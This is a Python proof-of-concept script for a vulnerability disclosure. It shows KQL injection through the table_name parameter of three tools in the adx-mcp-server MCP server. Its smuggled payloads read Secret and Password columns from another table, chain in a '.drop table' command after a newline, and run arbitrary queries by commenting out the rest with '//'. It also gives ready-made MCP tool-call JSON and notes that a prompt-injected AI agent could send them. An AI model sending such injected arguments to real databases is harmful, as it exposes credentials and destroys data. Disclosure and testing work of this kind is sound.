""" PoC: KQL Injection via table_name in adx-mcp-server (pab1it0/adx-mcp-server) Vulnerability: Multiple MCP tools in adx-mcp-server inject the `table_name` parameter directly into KQL (Kusto Query Language) queries without sanitization. Affected tools: - get_table_schema: f"{table_name} | getschema" - sample_table_data: f"{table_name} | sample {sample_size}" - get_table_details: f".show table {table_name} details" KQL allows chaining operators with '|' and executing management commands with '.'. An attacker (or a prompt-injected AI agent) can inject arbitrary KQL. File: src/adx_mcp_server/server.py (lines 228, 248, 268) """ import json # --- PoC 1: Data Exfiltration via get_table_schema --- # Instead of just getting the schema of a table, the attacker reads from another table malicious_table_name_exfil = "sensitive_data | project Secret, Password | take 100 //getschema" # Resulting KQL: "sensitive_data | project Secret, Password | take 100 //getschema | getschema" # The // comments out "| getschema", so the actual query reads sensitive_data columns print("=== PoC 1: Data Exfiltration via get_table_schema ===") print(f"Malicious table_name: {malicious_table_name_exfil!r}") query = f"{malicious_table_name_exfil} | getschema" print(f"Resulting KQL: {query}") print() # --- PoC 2: Destructive command via get_table_details --- # .show table ... details becomes a management command to drop data malicious_table_name_drop = "users details\n.drop table users" # Resulting KQL: ".show table users details\n.drop table users details" print("=== PoC 2: Destructive Command via get_table_details ===") print(f"Malicious table_name: {malicious_table_name_drop!r}") query2 = f".show table {malicious_table_name_drop} details" print(f"Resulting KQL:\n{query2}") print() # --- PoC 3: Arbitrary query execution via sample_table_data --- malicious_table_name_arb = "StormEvents | where EventType == 'Tornado' | summarize count() by State | order by count_ desc //sample" # The // comments out the rest print("=== PoC 3: Arbitrary Query via sample_table_data ===") print(f"Malicious table_name: {malicious_table_name_arb!r}") query3 = f"{malicious_table_name_arb} | sample 10" print(f"Resulting KQL: {query3}") print() # --- MCP Tool Call Examples --- print("=== MCP Tool Call to Trigger (get_table_schema) ===") tool_call = { "name": "get_table_schema", "arguments": { "table_name": "sensitive_data | project Secret, Password | take 100 //" } } print(json.dumps(tool_call, indent=2)) print() print("=== MCP Tool Call to Trigger (get_table_details) ===") tool_call2 = { "name": "get_table_details", "arguments": { "table_name": "users details\n.drop table important_data" } } print(json.dumps(tool_call2, indent=2))